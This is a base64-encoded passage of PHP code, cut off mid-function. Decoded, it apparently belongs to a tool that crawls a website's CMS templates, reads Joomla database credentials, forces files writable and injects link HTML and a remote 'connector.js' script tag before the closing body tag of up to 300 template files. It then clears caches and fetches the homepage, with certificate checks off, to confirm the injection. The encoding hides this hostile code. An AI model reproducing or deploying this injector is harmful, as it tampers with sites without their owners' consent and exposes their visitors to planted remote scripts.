CiAgICAgICAgZm9yZWFjaCAoZ2xvYigkYmFzZSAuICcvc2l0ZXMvKi90aGVtZXMvKi90ZW1wbGF0ZXMvKi50cGwucGhwJykgPzogW10gYXMgJGYpICRwYXRoc1tdID0gJGY7CiAgICAgICAgZm9yZWFjaCAoZ2xvYigkYmFzZSAuICcvdGhlbWVzLyovdGVtcGxhdGVzL2h0bWwuaHRtbC50d2lnJykgPzogW10gYXMgJGYpICRwYXRoc1tdID0gJGY7CiAgICB9CgogICAgLy8gT3BlbkNhcnQKICAgIGlmICgkc2l0ZV90eXBlID09PSAnb3BlbmNhcnQnKSB7CiAgICAgICAgZm9yZWFjaCAoZ2xvYigkYmFzZSAuICcvY2F0YWxvZy92aWV3L3RoZW1lLyovdGVtcGxhdGUvY29tbW9uL2Zvb3Rlci4qJykgPzogW10gYXMgJGYpICRwYXRoc1tdID0gJGY7CiAgICAgICAgZm9yZWFjaCAoZ2xvYigkYmFzZSAuICcvY2F0YWxvZy92aWV3L3RoZW1lLyovdGVtcGxhdGUvY29tbW9uL2hlYWRlci4qJykgPzogW10gYXMgJGYpICRwYXRoc1tdID0gJGY7CiAgICB9CgogICAgLy8gUHJlc3RhU2hvcAogICAgaWYgKCRzaXRlX3R5cGUgPT09ICdwcmVzdGFzaG9wJykgewogICAgICAgIGZvcmVhY2ggKGdsb2IoJGJhc2UgLiAnL3RoZW1lcy8qL3RlbXBsYXRlcy9fcGFydGlhbHMvZm9vdGVyLnRwbCcpID86IFtdIGFzICRmKSAkcGF0aHNbXSA9ICRmOwogICAgICAgIGZvcmVhY2ggKGdsb2IoJGJhc2UgLiAnL3RoZW1lcy8qL3RlbXBsYXRlcy9fcGFydGlhbHMvaGVhZGVyLnRwbCcpID86IFtdIGFzICRmKSAkcGF0aHNbXSA9ICRmOwogICAgICAgIGZvcmVhY2ggKGdsb2IoJGJhc2UgLiAnL3RoZW1lcy8qL2Zvb3Rlci50cGwnKSA/OiBbXSBhcyAkZikgJHBhdGhzW10gPSAkZjsKICAgICAgICBmb3JlYWNoIChnbG9iKCRiYXNlIC4gJy90aGVtZXMvKi9oZWFkZXIudHBsJykgPzogW10gYXMgJGYpICRwYXRoc1tdID0gJGY7CiAgICB9CgogICAgLy8gTGFyYXZlbAogICAgaWYgKCRzaXRlX3R5cGUgPT09ICdsYXJhdmVsJykgewogICAgICAgIGZvcmVhY2ggKGdsb2IoJGJhc2UgLiAnL3Jlc291cmNlcy92aWV3cy9sYXlvdXRzLyouYmxhZGUucGhwJykgPzogW10gYXMgJGYpICRwYXRoc1tdID0gJGY7CiAgICAgICAgZm9yZWFjaCAoZ2xvYigkYmFzZSAuICcvcmVzb3VyY2VzL3ZpZXdzL2xheW91dHMvcGFydGlhbHMvZm9vdGVyLmJsYWRlLnBocCcpID86IFtdIGFzICRmKSAkcGF0aHNbXSA9ICRmOwogICAgICAgIGZvcmVhY2ggKGdsb2IoJGJhc2UgLiAnL3Jlc291cmNlcy92aWV3cy9sYXlvdXRzLyovZm9vdGVyLmJsYWRlLnBocCcpID86IFtdIGFzICRmKSAkcGF0aHNbXSA9ICRmOwogICAgICAgIGZvcmVhY2ggKGdsb2IoJGJhc2UgLiAnL3Jlc291cmNlcy92aWV3cy9jb21wb25lbnRzL2xheW91dHMvKi5ibGFkZS5waHAnKSA/OiBbXSBhcyAkZikgJHBhdGhzW10gPSAkZjsKICAgICAgICBmb3JlYWNoIChnbG9iKCRiYXNlIC4gJy9yZXNvdXJjZXMvdmlld3MvaW5jbHVkZXMvZm9vdGVyLmJsYWRlLnBocCcpID86IFtdIGFzICRmKSAkcGF0aHNbXSA9ICRmOwogICAgICAgIGZvcmVhY2ggKGdsb2IoJGJhc2UgLiAnL3Jlc291cmNlcy92aWV3cy9wYXJ0aWFscy8qLmJsYWRlLnBocCcpID86IFtdIGFzICRmKSAkcGF0aHNbXSA9ICRmOwogICAgfQoKICAgIC8vIEdlbmVyYWwgcGF0aHMgKGV4Y2x1ZGUgcm9vdCBpbmRleC5waHAg4oCUIGl0IGlzIGEgQ01TIGJvb3RzdHJhcCwgbm90IGEgdGVtcGxhdGUpCiAgICAkZ2VuZXJhbCA9IFsKICAgICAgICAkYmFzZSAuICcvZm9vdGVyLnBocCcsICRiYXNlIC4gJy9oZWFkZXIucGhwJywKICAgICAgICAkYmFzZSAuICcvaW5jbHVkZXMvZm9vdGVyLnBocCcsICRiYXNlIC4gJy9pbmNsdWRlcy9oZWFkZXIucGhwJywKICAgICAgICAkYmFzZSAuICcvaW5jL2Zvb3Rlci5waHAnLCAkYmFzZSAuICcvaW5jL2hlYWRlci5waHAnLAogICAgICAgICRiYXNlIC4gJy90ZW1wbGF0ZS9mb290ZXIucGhwJywgJGJhc2UgLiAnL3RlbXBsYXRlL2hlYWRlci5waHAnLAogICAgICAgICRiYXNlIC4gJy90ZW1wbGF0ZXMvZm9vdGVyLnBocCcsICRiYXNlIC4gJy90ZW1wbGF0ZXMvaGVhZGVyLnBocCcsCiAgICAgICAgJGJhc2UgLiAnL3BhcnRpYWxzL2Zvb3Rlci5waHAnLCAkYmFzZSAuICcvcGFydGlhbHMvaGVhZGVyLnBocCcsCiAgICAgICAgJGJhc2UgLiAnL2xheW91dC9mb290ZXIucGhwJywgJGJhc2UgLiAnL2xheW91dC9oZWFkZXIucGhwJywKICAgICAgICAkYmFzZSAuICcvbGF5b3V0cy9mb290ZXIucGhwJywgJGJhc2UgLiAnL2xheW91dHMvaGVhZGVyLnBocCcsCiAgICAgICAgJGJhc2UgLiAnL3ZpZXdzL2Zvb3Rlci5waHAnLCAkYmFzZSAuICcvdmlld3MvaGVhZGVyLnBocCcsCiAgICAgICAgJGJhc2UgLiAnL3ZpZXdzL3BhcnRpYWxzL2Zvb3Rlci5waHAnLCAkYmFzZSAuICcvdmlld3MvcGFydGlhbHMvaGVhZGVyLnBocCcsCiAgICAgICAgJGJhc2UgLiAnL2NvbW1vbi9mb290ZXIucGhwJywgJGJhc2UgLiAnL2NvbW1vbi9oZWFkZXIucGhwJywKICAgICAgICAkYmFzZSAuICcvaW5jbHVkZS9mb290ZXIucGhwJywgJGJhc2UgLiAnL2luY2x1ZGUvaGVhZGVyLnBocCcsCiAgICAgICAgJGJhc2UgLiAnL3RoZW1lL2Zvb3Rlci5waHAnLCAkYmFzZSAuICcvdGhlbWUvaGVhZGVyLnBocCcsCiAgICAgICAgJGJhc2UgLiAnL2luZGV4Lmh0bWwnLCAkYmFzZSAuICcvaW5kZXguaHRtJywKICAgIF07CiAgICBmb3JlYWNoICgkZ2VuZXJhbCBhcyAkcCkgewogICAgICAgIGlmIChmaWxlX2V4aXN0cygkcCkpICRwYXRoc1tdID0gJHA7CiAgICB9CgogICAgZm9yZWFjaCAoZmluZF90ZW1wbGF0ZV9maWxlcygkYmFzZSkgYXMgJHApICRwYXRoc1tdID0gJHA7CgogICAgcmV0dXJuIGFycmF5X3VuaXF1ZSgkcGF0aHMpOwp9CgovKioKICogRG9jdW1lbnQgcm9vdCBhbHRpbmRhIDwvYm9keT4gaWNlcmVuIHR1bSBzYWJsb24gZG9zeWFsYXJpIChwaHAvaHRtbC90cGwvdHdpZywgYmxhZGUgZGFoaWwpLgogKiBPemVsL25hdGl2ZSBQSFAgc2l0ZWxlciAob3JuLiB0ZW1wbGF0ZXMvdGVtYS90ZW1wbGF0ZXMvaG9tZV8xLnBocCkgdmUgTGFyYXZlbCBpY2luIENNUydlCiAqIGJhZ2xpIG9sbWF5YW4gdGVrIGd1dmVuaWxpciB5b2wgYnVkdXIuIEt1dHVwaGFuZSwgY2FjaGUsIHVwbG9hZCB2ZSB5b25ldGltIGRpemlubGVyaSBhdGxhbmlyLgogKi8KZnVuY3Rpb24gZmluZF90ZW1wbGF0ZV9maWxlcygkYmFzZSwgJG1heF9kZXB0aCA9IDUpIHsKICAgIHN0YXRpYyAkY2FjaGUgPSBbXTsKICAgICRiYXNlID0gcnRyaW0oJGJhc2UsICcvXFwnKTsKICAgIGlmIChpc3NldCgkY2FjaGVbJGJhc2VdKSkgcmV0dXJuICRjYWNoZVskYmFzZV07CiAgICAkc2tpcF9kaXJzID0gWyd2ZW5kb3InLCAnbm9kZV9tb2R1bGVzJywgJ2NhY2hlJywgJ2NhY2hlcycsICdzdG9yYWdlJywgJ2xvZ3MnLCAnbG9nJywgJ3RtcCcsICd0ZW1wJywgJ3VwbG9hZHMnLCAndXBsb2FkJywKICAgICAgICAnbWVkaWEnLCAnaW1hZ2VzJywgJ2ltZycsICdhc3NldHMnLCAnY3NzJywgJ2pzJywgJ2ZvbnRzJywgJ2JhY2t1cCcsICdiYWNrdXBzJywgJ3dwLWFkbWluJywgJ3dwLWluY2x1ZGVzJywgJ2FkbWluaXN0cmF0b3InLAogICAgICAgICdsaWJyYXJpZXMnLCAnbGFuZ3VhZ2UnLCAnbGFuZ3VhZ2VzJywgJ3BsdWdpbnMnLCAnbW9kdWxlcycsICdjb21wb25lbnRzJywgJ2NvcmUnLCAnbGliJywgJ2xpYnMnLCAnc3FsJywgJ2RhdGFiYXNlJywKICAgICAgICAndGVzdHMnLCAndGVzdCcsICdiaW4nLCAnY2dpLWJpbicsICdib290c3RyYXAnLCAnY29uZmlnJywgJ2FwcCcsICdzcmMnLCAnc3lzdGVtJ107CiAgICAkZXh0cyA9IFsncGhwJywgJ2h0bWwnLCAnaHRtJywgJ3RwbCcsICd0d2lnJ107CiAgICAkZm91bmQgPSBbXTsKICAgICRzZWxmID0gcmVhbHBhdGgoX19GSUxFX18pOwogICAgdHJ5IHsKICAgICAgICAkZGlyX2l0ZXIgPSBuZXcgXFJlY3Vyc2l2ZURpcmVjdG9yeUl0ZXJhdG9yKCRiYXNlLCBcRmlsZXN5c3RlbUl0ZXJhdG9yOjpTS0lQX0RPVFMgfCBcRmlsZXN5c3RlbUl0ZXJhdG9yOjpVTklYX1BBVEhTKTsKICAgICAgICAkZmlsdGVyID0gbmV3IFxSZWN1cnNpdmVDYWxsYmFja0ZpbHRlckl0ZXJhdG9yKCRkaXJfaXRlciwgZnVuY3Rpb24gKCRjdXJyZW50KSB1c2UgKCRza2lwX2RpcnMpIHsKICAgICAgICAgICAgaWYgKCRjdXJyZW50LT5pc0RpcigpKSB7CiAgICAgICAgICAgICAgICAkbiA9IHN0cnRvbG93ZXIoJGN1cnJlbnQtPmdldEZpbGVuYW1lKCkpOwogICAgICAgICAgICAgICAgcmV0dXJuICRuICE9PSAnJyAmJiAkblswXSAhPT0gJy4nICYmICFpbl9hcnJheSgkbiwgJHNraXBfZGlycywgdHJ1ZSk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgcmV0dXJuIHRydWU7CiAgICAgICAgfSk7CiAgICAgICAgJGl0ZXIgPSBuZXcgXFJlY3Vyc2l2ZUl0ZXJhdG9ySXRlcmF0b3IoJGZpbHRlciwgXFJlY3Vyc2l2ZUl0ZXJhdG9ySXRlcmF0b3I6OkxFQVZFU19PTkxZKTsKICAgICAgICAkaXRlci0+c2V0TWF4RGVwdGgoJG1heF9kZXB0aCk7CiAgICAgICAgJHNjYW5uZWQgPSAwOwogICAgICAgIGZvcmVhY2ggKCRpdGVyIGFzICRmaWxlKSB7CiAgICAgICAgICAgIGlmICgrKyRzY2FubmVkID4gMjAwMDApIGJyZWFrOwogICAgICAgICAgICBpZiAoISRmaWxlLT5pc0ZpbGUoKSkgY29udGludWU7CiAgICAgICAgICAgIGlmICghaW5fYXJyYXkoc3RydG9sb3dlcigkZmlsZS0+Z2V0RXh0ZW5zaW9uKCkpLCAkZXh0cywgdHJ1ZSkpIGNvbnRpbnVlOwogICAgICAgICAgICAkc2l6ZSA9ICRmaWxlLT5nZXRTaXplKCk7CiAgICAgICAgICAgIGlmICgkc2l6ZSA8IDIwIHx8ICRzaXplID4gMjA5NzE1MikgY29udGludWU7CiAgICAgICAgICAgICRwYXRoID0gJGZpbGUtPmdldFBhdGhuYW1lKCk7CiAgICAgICAgICAgICRuYW1lID0gYmFzZW5hbWUoJHBhdGgpOwogICAgICAgICAgICBpZiAoKCRzZWxmICYmIHJlYWxwYXRoKCRwYXRoKSA9PT0gJHNlbGYpIHx8IHN0cnBvcygkbmFtZSwgJ3Nlby1jb25uZWN0b3InKSA9PT0gMCB8fCAkbmFtZSA9PT0gJ3JzX3ByZXBlbmQucGhwJyB8fCAkbmFtZSA9PT0gJy5yc19jb25uZWN0b3JfcHJldi5waHAnKSBjb250aW51ZTsKICAgICAgICAgICAgJGNvbnRlbnQgPSBAZmlsZV9nZXRfY29udGVudHMoJHBhdGgpOwogICAgICAgICAgICBpZiAoJGNvbnRlbnQgPT09IGZhbHNlIHx8IHN0cmlwb3MoJGNvbnRlbnQsICc8L2JvZHk+JykgPT09IGZhbHNlKSBjb250aW51ZTsKICAgICAgICAgICAgJGZvdW5kW10gPSAkcGF0aDsKICAgICAgICAgICAgaWYgKGNvdW50KCRmb3VuZCkgPj0gMzAwKSBicmVhazsKICAgICAgICB9CiAgICB9IGNhdGNoIChcVGhyb3dhYmxlICRlKSB7CiAgICAgICAgLy8gb2t1bmFtYXlhbiBkaXppbmxlciBhdGxhbmlyCiAgICB9CiAgICBzb3J0KCRmb3VuZCk7CiAgICAkY2FjaGVbJGJhc2VdID0gJGZvdW5kOwogICAgcmV0dXJuICRmb3VuZDsKfQoKLyoqCiAqIEpvb21sYTogY29uZmlndXJhdGlvbi5waHAgaWNpbmRla2kgREIgYmlsZ2lzaXlsZSBha3RpZiBzaXRlIHNhYmxvbnUgb2t1bnVyOyBidWx1bmFtYXpzYSBudWxsLgogKi8KZnVuY3Rpb24gam9vbWxhX2RiX2Nvbm5lY3QoJGJhc2UpIHsKICAgIHN0YXRpYyAkY2FjaGVkID0gbnVsbDsKICAgIGlmICgkY2FjaGVkICE9PSBudWxsKSByZXR1cm4gJGNhY2hlZCA/OiBudWxsOwogICAgJGNhY2hlZCA9IGZhbHNlOwogICAgJGNmZyA9ICRiYXNlIC4gJy9jb25maWd1cmF0aW9uLnBocCc7CiAgICBpZiAoIWZpbGVfZXhpc3RzKCRjZmcpIHx8ICFmdW5jdGlvbl9leGlzdHMoJ215c3FsaV9pbml0JykpIHJldHVybiBudWxsOwogICAgJGMgPSBAZmlsZV9nZXRfY29udGVudHMoJGNmZyk7CiAgICBpZiAoISRjKSByZXR1cm4gbnVsbDsKICAgICRnZXQgPSBmdW5jdGlvbiAoJGspIHVzZSAoJGMpIHsKICAgICAgICByZXR1cm4gcHJlZ19tYXRjaCgnL3B1YmxpY1xzK1wkJyAuICRrIC4gJ1xzKj1ccyooW1wnIl0pKC4qPylcMVxzKjsvcycsICRjLCAkbSkgPyAkbVsyXSA6IG51bGw7CiAgICB9OwogICAgJGhvc3QgPSAkZ2V0KCdob3N0Jyk7ICR1c2VyID0gJGdldCgndXNlcicpOyAkcGFzcyA9ICRnZXQoJ3Bhc3N3b3JkJyk7ICRkYiA9ICRnZXQoJ2RiJyk7ICRwcmVmaXggPSAkZ2V0KCdkYnByZWZpeCcpID86ICdqb3NfJzsKICAgIGlmICgkaG9zdCA9PT0gbnVsbCB8fCAkdXNlciA9PT0gbnVsbCB8fCAkZGIgPT09IG51bGwpIHJldHVybiBudWxsOwogICAgJHBvcnQgPSBudWxsOwogICAgaWYgKHN0cnBvcygkaG9zdCwgJzonKSAhPT0gZmFsc2UpIHsgWyRob3N0LCAkcG9ydF0gPSBleHBsb2RlKCc6JywgJGhvc3QsIDIpOyB9CiAgICBteXNxbGlfcmVwb3J0KE1ZU1FMSV9SRVBPUlRfT0ZGKTsKICAgICRsaW5rID0gQG15c3FsaV9pbml0KCk7CiAgICBpZiAoISRsaW5rKSByZXR1cm4gbnVsbDsKICAgIEBteXNxbGlfb3B0aW9ucygkbGluaywgTVlTUUxJX09QVF9DT05ORUNUX1RJTUVPVVQsIDMpOwogICAgaWYgKCFAbXlzcWxpX3JlYWxfY29ubmVjdCgkbGluaywgJGhvc3QsICR1c2VyLCAoc3RyaW5nKSRwYXNzLCAkZGIsICRwb3J0ID8gKGludCkkcG9ydCA6IG51bGwpKSByZXR1cm4gbnVsbDsKICAgIEBteXNxbGlfc2V0X2NoYXJzZXQoJGxpbmssICd1dGY4bWI0Jyk7CiAgICAkY2FjaGVkID0gWydsaW5rJyA9PiAkbGluaywgJ3ByZWZpeCcgPT4gcHJlZ19yZXBsYWNlKCcvW15BLVphLXowLTlfXS8nLCAnJywgJHByZWZpeCldOwogICAgcmV0dXJuICRjYWNoZWQ7Cn0KCmZ1bmN0aW9uIGpvb21sYV9hY3RpdmVfdGVtcGxhdGUoJGJhc2UpIHsKICAgIHN0YXRpYyAkY2FjaGVkID0gbnVsbDsKICAgIGlmICgkY2FjaGVkICE9PSBudWxsKSByZXR1cm4gJGNhY2hlZCA/OiBudWxsOwogICAgJGNhY2hlZCA9IGZhbHNlOwogICAgJGRiID0gam9vbWxhX2RiX2Nvbm5lY3QoJGJhc2UpOwogICAgaWYgKCEkZGIpIHJldHVybiBudWxsOwogICAgJHJlcyA9IEBteXNxbGlfcXVlcnkoJGRiWydsaW5rJ10sICJTRUxFQ1QgdGVtcGxhdGUgRlJPTSBgeyRkYlsncHJlZml4J119dGVtcGxhdGVfc3R5bGVzYCBXSEVSRSBjbGllbnRfaWQgPSAwIEFORCBob21lID0gJzEnIExJTUlUIDEiKTsKICAgICRyb3cgPSAkcmVzID8gbXlzcWxpX2ZldGNoX2Fzc29jKCRyZXMpIDogbnVsbDsKICAgIGlmICgkcm93ICYmICFlbXB0eSgkcm93Wyd0ZW1wbGF0ZSddKSkgewogICAgICAgICRjYWNoZWQgPSBwcmVnX3JlcGxhY2UoJy9bXkEtWmEtejAtOV8uLV0vJywgJycsIChzdHJpbmcpJHJvd1sndGVtcGxhdGUnXSk7CiAgICAgICAgcmV0dXJuICRjYWNoZWQgPzogbnVsbDsKICAgIH0KICAgIHJldHVybiBudWxsOwp9CgovKioKICogU2FibG9uIGRvc3lhc2kgZGVnaXNpbmNlIGVza2kgSFRNTCdpIHN1bm1heWEgZGV2YW0gZWRlbiBkb3N5YSBvbmJlbGxla2xlcmkgdGVtaXpsZW5pci4KICovCmZ1bmN0aW9uIGNsZWFyX3NpdGVfY2FjaGVzKCRiYXNlLCAkc2l0ZV90eXBlKSB7CiAgICAkZGlycyA9IFtdOwogICAgc3dpdGNoICgkc2l0ZV90eXBlKSB7CiAgICAgICAgY2FzZSAnam9vbWxhJzogJGRpcnMgPSBbJGJhc2UgLiAnL2NhY2hlJywgJGJhc2UgLiAnL2FkbWluaXN0cmF0b3IvY2FjaGUnXTsgYnJlYWs7CiAgICAgICAgY2FzZSAnd29yZHByZXNzJzogJGRpcnMgPSBbJGJhc2UgLiAnL3dwLWNvbnRlbnQvY2FjaGUnXTsgYnJlYWs7CiAgICAgICAgY2FzZSAnb3BlbmNhcnQnOiAkZGlycyA9IFskYmFzZSAuICcvc3lzdGVtL3N0b3JhZ2UvY2FjaGUnLCAkYmFzZSAuICcvc3lzdGVtL2NhY2hlJ107IGJyZWFrOwogICAgICAgIGNhc2UgJ3ByZXN0YXNob3AnOiAkZGlycyA9IFskYmFzZSAuICcvdmFyL2NhY2hlJ107IGJyZWFrOwogICAgICAgIGNhc2UgJ2xhcmF2ZWwnOiAkZGlycyA9IFskYmFzZSAuICcvc3RvcmFnZS9mcmFtZXdvcmsvdmlld3MnXTsgYnJlYWs7CiAgICB9CiAgICAkcmVtb3ZlZCA9IDA7CiAgICBmb3JlYWNoICgkZGlycyBhcyAkZGlyKSB7CiAgICAgICAgaWYgKCFpc19kaXIoJGRpcikpIGNvbnRpbnVlOwogICAgICAgIHRyeSB7CiAgICAgICAgICAgICRpdCA9IG5ldyBcUmVjdXJzaXZlSXRlcmF0b3JJdGVyYXRvcihuZXcgXFJlY3Vyc2l2ZURpcmVjdG9yeUl0ZXJhdG9yKCRkaXIsIFxGaWxlc3lzdGVtSXRlcmF0b3I6OlNLSVBfRE9UUyksIFxSZWN1cnNpdmVJdGVyYXRvckl0ZXJhdG9yOjpDSElMRF9GSVJTVCk7CiAgICAgICAgICAgIGZvcmVhY2ggKCRpdCBhcyAkZW50cnkpIHsKICAgICAgICAgICAgICAgICRuID0gJGVudHJ5LT5nZXRGaWxlbmFtZSgpOwogICAgICAgICAgICAgICAgaWYgKCRuID09PSAnaW5kZXguaHRtbCcgfHwgJG4gPT09ICcuaHRhY2Nlc3MnIHx8ICRuID09PSAnLmdpdGtlZXAnKSBjb250aW51ZTsKICAgICAgICAgICAgICAgIGlmICgkZW50cnktPmlzRGlyKCkpIHsgQHJtZGlyKCRlbnRyeS0+Z2V0UGF0aG5hbWUoKSk7IH0KICAgICAgICAgICAgICAgIGVsc2VpZiAoQHVubGluaygkZW50cnktPmdldFBhdGhuYW1lKCkpKSB7ICRyZW1vdmVkKys7IH0KICAgICAgICAgICAgfQogICAgICAgIH0gY2F0Y2ggKFxUaHJvd2FibGUgJGUpIHsKICAgICAgICAgICAgLy8gb25iZWxsZWsgZGl6aW5pIG9rdW5hbWl5b3JzYSBhdGxhCiAgICAgICAgfQogICAgfQogICAgcmV0dXJuICRyZW1vdmVkOwp9CgovKioKICogU2l0ZW5pbiBrZW5kaSBhbmFzYXlmYXNpbmkgY2VraXAgaXNhcmV0bGV5aWNpbmluIGNpa3RpZGEgb2x1cCBvbG1hZGlnaW5hIGJha2FyLgogKiB0cnVlL2ZhbHNlLCBpc3RlayB5YXBpbGFtYXpzYSBudWxsLgogKi8KZnVuY3Rpb24gdmVyaWZ5X2hvbWVwYWdlX2NvbnRhaW5zKCRuZWVkbGUpIHsKICAgICRob3N0ID0gJF9TRVJWRVJbJ0hUVFBfSE9TVCddID8/ICcnOwogICAgaWYgKCRob3N0ID09PSAnJykgcmV0dXJuIG51bGw7CiAgICAkc2NoZW1lID0gKCFlbXB0eSgkX1NFUlZFUlsnSFRUUFMnXSkgJiYgJF9TRVJWRVJbJ0hUVFBTJ10gIT09ICdvZmYnKSA/ICdodHRwcycgOiAnaHR0cCc7CiAgICAkdXJsID0gJHNjaGVtZSAuICc6Ly8nIC4gJGhvc3QgLiAnLyc7CiAgICAkdWEgPSAnTW96aWxsYS81LjAgKGNvbXBhdGlibGU7ICcgLiBSU19VU0VSX0FHRU5UIC4gJyknOwogICAgJGh0bWwgPSBmYWxzZTsKICAgIGlmIChmdW5jdGlvbl9leGlzdHMoJ2N1cmxfaW5pdCcpKSB7CiAgICAgICAgJGNoID0gY3VybF9pbml0KCR1cmwpOwogICAgICAgIGN1cmxfc2V0b3B0X2FycmF5KCRjaCwgWwogICAgICAgICAgICBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSID0+IHRydWUsIENVUkxPUFRfRk9MTE9XTE9DQVRJT04gPT4gdHJ1ZSwgQ1VSTE9QVF9NQVhSRURJUlMgPT4gMywKICAgICAgICAgICAgQ1VSTE9QVF9USU1FT1VUID0+IDQsIENVUkxPUFRfQ09OTkVDVFRJTUVPVVQgPT4gMiwKICAgICAgICAgICAgQ1VSTE9QVF9TU0xfVkVSSUZZUEVFUiA9PiBmYWxzZSwgQ1VSTE9QVF9TU0xfVkVSSUZZSE9TVCA9PiAwLAogICAgICAgICAgICBDVVJMT1BUX1VTRVJBR0VOVCA9PiAkdWEsIENVUkxPUFRfSFRUUEhFQURFUiA9PiBbJ0NhY2hlLUNvbnRyb2w6IG5vLWNhY2hlJywgJ1ByYWdtYTogbm8tY2FjaGUnXSwKICAgICAgICBdKTsKICAgICAgICAkaHRtbCA9IGN1cmxfZXhlYygkY2gpOwogICAgICAgIGN1cmxfY2xvc2UoJGNoKTsKICAgIH0gZWxzZSB7CiAgICAgICAgJGN0eCA9IHN0cmVhbV9jb250ZXh0X2NyZWF0ZShbCiAgICAgICAgICAgICdodHRwJyA9PiBbJ3RpbWVvdXQnID0+IDQsICdoZWFkZXInID0+ICJDYWNoZS1Db250cm9sOiBuby1jYWNoZVxyXG4iLCAndXNlcl9hZ2VudCcgPT4gJHVhLCAnZm9sbG93X2xvY2F0aW9uJyA9PiAxXSwKICAgICAgICAgICAgJ3NzbCcgPT4gWyd2ZXJpZnlfcGVlcicgPT4gZmFsc2UsICd2ZXJpZnlfcGVlcl9uYW1lJyA9PiBmYWxzZV0sCiAgICAgICAgXSk7CiAgICAgICAgJGh0bWwgPSBAZmlsZV9nZXRfY29udGVudHMoJHVybCwgZmFsc2UsICRjdHgpOwogICAgfQogICAgaWYgKCFpc19zdHJpbmcoJGh0bWwpIHx8ICRodG1sID09PSAnJykgcmV0dXJuIG51bGw7CiAgICByZXR1cm4gc3RyaXBvcygkaHRtbCwgJG5lZWRsZSkgIT09IGZhbHNlOwp9CgpmdW5jdGlvbiBpbmplY3RfdG9fdGVtcGxhdGVfZmlsZXMoJGJhc2UsICRsaW5rX2h0bWwsICRsaW5rX2lkLCAkbGlua19jb21tZW50KSB7CiAgICAkZmlsZXMgPSBmaW5kX3RlbXBsYXRlX2ZpbGVzKCRiYXNlKTsKICAgICRvayA9IDA7CiAgICAkZmlyc3QgPSBudWxsOwogICAgZm9yZWFjaCAoJGZpbGVzIGFzICRwYXRoKSB7CiAgICAgICAgJHIgPSBpbmplY3RfdG9fZmlsZV9hZ2dyZXNzaXZlKCRwYXRoLCAkbGlua19odG1sLCAkbGlua19pZCwgJGxpbmtfY29tbWVudCk7CiAgICAgICAgaWYgKCFlbXB0eSgkclsnc3VjY2VzcyddKSAmJiAhZW1wdHkoJHJbJ2luamVjdGVkJ10pKSB7CiAgICAgICAgICAgICRvaysrOwogICAgICAgICAgICBpZiAoJGZpcnN0ID09PSBudWxsKSAkZmlyc3QgPSAkcGF0aDsKICAgICAgICB9CiAgICB9CiAgICBpZiAoJG9rID4gMCkgewogICAgICAgIHJldHVybiBbJ3N1Y2Nlc3MnID0+IHRydWUsICdpbmplY3RlZCcgPT4gdHJ1ZSwgJ2Zvb3Rlcl9wYXRoJyA9PiAkZmlyc3QsICdmaWxlcycgPT4gJG9rLCAnbWVzc2FnZScgPT4gJG9rIC4gJyBzYWJsb24gZG9zeWFzaW5hIGVrbGVuZGknXTsKICAgIH0KICAgIHJldHVybiBbJ3N1Y2Nlc3MnID0+IGZhbHNlLCAnaW5qZWN0ZWQnID0+IGZhbHNlLCAnbWVzc2FnZScgPT4gJzwvYm9keT4gaWNlcmVuIHNhYmxvbiBkb3N5YXNpIGJ1bHVuYW1hZGknXTsKfQoKZnVuY3Rpb24gaW5qZWN0X2pzX2Nvbm5lY3Rvcl90b19maWxlKCRmaWxlX3BhdGgsICRzY3JpcHRfdGFnKSB7CiAgICBpZiAoIWZpbGVfZXhpc3RzKCRmaWxlX3BhdGgpKSByZXR1cm4gJ2ZhaWxlZCc7CiAgICAkY29udGVudCA9IEBmaWxlX2dldF9jb250ZW50cygkZmlsZV9wYXRoKTsKICAgIGlmICghJGNvbnRlbnQpIHJldHVybiAnZmFpbGVkJzsKICAgIGlmIChzdHJwb3MoJGNvbnRlbnQsICdjb25uZWN0b3IuanM/a2V5PScpICE9PSBmYWxzZSkgcmV0dXJuICdleGlzdHMnOwoKICAgICRoYXNfaHRtbCA9IChzdHJpcG9zKCRjb250ZW50LCAnPC9ib2R5PicpICE9PSBmYWxzZQogICAgICAgIHx8IHN0cmlwb3MoJGNvbnRlbnQsICc8L2h0bWw+JykgIT09IGZhbHNlCiAgICAgICAgfHwgc3RyaXBvcygkY29udGVudCwgJzwvaGVhZD4nKSAhPT0gZmFsc2UKICAgICAgICB8fCBzdHJpcG9zKCRjb250ZW50LCAnPC9mb290ZXI+JykgIT09IGZhbHNlCiAgICAgICAgfHwgc3RyaXBvcygkY29udGVudCwgJzxodG1sJykgIT09IGZhbHNlCiAgICAgICAgfHwgc3RyaXBvcygkY29udGVudCwgJzxqZG9jOicpICE9PSBmYWxzZSk7CgogICAgJGlzX3BocF9vbmx5ID0gKHN0cnBvcyhsdHJpbSgkY29udGVudCksICc8JyAuICc/cGhwJykgPT09IDAgfHwgc3RycG9zKGx0cmltKCRjb250ZW50KSwgJzwnIC4gJz8nKSA9PT0gMCk7CgogICAgaWYgKCRpc19waHBfb25seSAmJiAhJGhhc19odG1sKSB7CiAgICAgICAgcmV0dXJuICdza2lwcGVkJzsKICAgIH0KCiAgICBmb3JjZV93cml0YWJsZSgkZmlsZV9wYXRoKTsKICAgIGlmICghaXNfd3JpdGFibGUoJGZpbGVfcGF0aCkpIHJldHVybiAnZmFpbGVkJzsKCiAgICAkbWFya2VyID0gIlxuPCEtLSByczpqcy1jb25uZWN0b3IgLS0+IiAuICRzY3JpcHRfdGFnOwoKICAgIGlmIChzdHJpcG9zKCRjb250ZW50LCAnPC9ib2R5PicpICE9PSBmYWxzZSkgewogICAgICAgICRwb3MgPSBzdHJyaXBvcygkY29udGVudCwgJzwvYm9keT4nKTsKICAgICAgICAkbmV3ID0gc3Vic3RyKCRjb250ZW50LCAwLCAkcG9zKSAuICRtYXJrZXIgLiAiXG4iIC4gc3Vic3RyKCRjb250ZW50LCAkcG9zKTsKICAgICAgICByZXR1cm4gQGZpbGVfcHV0X2NvbnRlbnRzKCRmaWxlX3BhdGgsICRuZXcpICE9PSBmYWxzZSA/ICdvaycgOiAnZmFpbGVkJzsKICAgIH0KICAgIGlmIChzdHJpcG9zKCRjb250ZW50LCAnPC9odG1sPicpICE9PSBmYWxzZSkgewogICAgICAgICRwb3MgPSBzdHJyaXBvcygkY29udGVudCwgJzwvaHRtbD4nKTsKICAgICAgICAkbmV3ID0gc3Vic3RyKCRjb250ZW50LCAwLCAkcG9zKSAuICRtYXJrZXIgLiAiXG4iIC4gc3Vic3RyKCRjb250ZW50LCAkcG9zKTsKICAgICAgICByZXR1cm4gQGZpbGVfcHV0X2NvbnRlbnRzKCRmaWxlX3BhdG